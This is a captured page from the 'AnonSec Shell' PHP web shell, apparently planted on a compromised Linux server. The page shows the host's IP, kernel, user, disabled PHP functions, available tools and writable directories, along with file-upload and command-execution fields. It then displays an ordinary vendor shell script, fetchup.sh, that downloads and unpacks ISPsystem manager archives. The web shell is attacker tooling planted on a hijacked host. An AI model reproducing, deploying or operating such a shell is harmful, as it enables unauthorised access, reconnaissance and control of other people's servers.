AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/local/bin/fetchup.sh
#!/bin/sh

set -e

#
# Скачать сборку нужного манагера нужного бранча
#

error_exit() {
	cmd=${BASH_COMMAND}
	echo "Command ${cmd} exited with error"
	exit 1
}

#trap error_exit TERM EXIT

MIRROR="http://intrepo.download.ispsystem.com/uploads"

# Parse args
while [ -n "${1}" ]
do
	case "${1}" in
		--mgr)
			mgr=${2}
			shift 2
			;;
		--branch|--hash)
			branch=${2}
			shift 2
			;;
	esac
done

while [ -z "${mgr}" ]; do
	echo -n "Mgr name is empty. Enter it: "
	read mgr
done

while [ -z "${branch}" ]; do
	echo -n "Branch name or hash is empty. Enter it: "
	read branch
done

URL=${MIRROR}/${mgr}/${branch}/upmetadata.txt?cache=$$
params="$(wget -O - -q "${URL}")" || dl_err=true
if [ -n "${dl_err}" ]; then
	echo "Can not fetch URL: ${URL}"
	exit 1
fi


echo "Will be fetched file with next parameters"
echo "===="
echo "${params}"
echo "===="

read -p "Is this correct? (Y/n): " n
if [ "#${n}" = "#n" ]; then
	# Exiting if pressed "n"
	exit 0
fi

tmp_filename=/tmp/${mgr}.$$.tgz
URL=${MIRROR}/${mgr}/${branch}/distribution.tgz?cache=$$
echo "Fetching ditriution.tgz"
wget -O ${tmp_filename} "${URL}" || dl_err=true
if [ -n "${dl_err}" ]; then
	echo "Can not fetch URL: ${URL}"
	exit 1
fi

if [ "${mgr}" != "core" ]; then
	tmp_core=/tmp/core.$$.tgz
	URL=${MIRROR}/${mgr}/${branch}/core.tgz?cache=$$
	echo "Fetching core.tgz"
	wget -O ${tmp_core} "${URL}" || dl_err=true
	if [ -n "${dl_err}" ]; then
		echo "Can not fetch URL: ${URL}"
		exit 1
	fi
fi

echo "Extraction archives"
if [ "${mgr}" != "core" ]; then
	tar -xpzf ${tmp_core} -C /usr/local/mgr5
fi
tar -xpzf ${tmp_filename} -C /usr/local/mgr5
killall core 2>/dev/null ||:
rm -f "${tmp_filename}"
rm -f "${tmp_core}"

Anon7 - 2022
AnonSec Team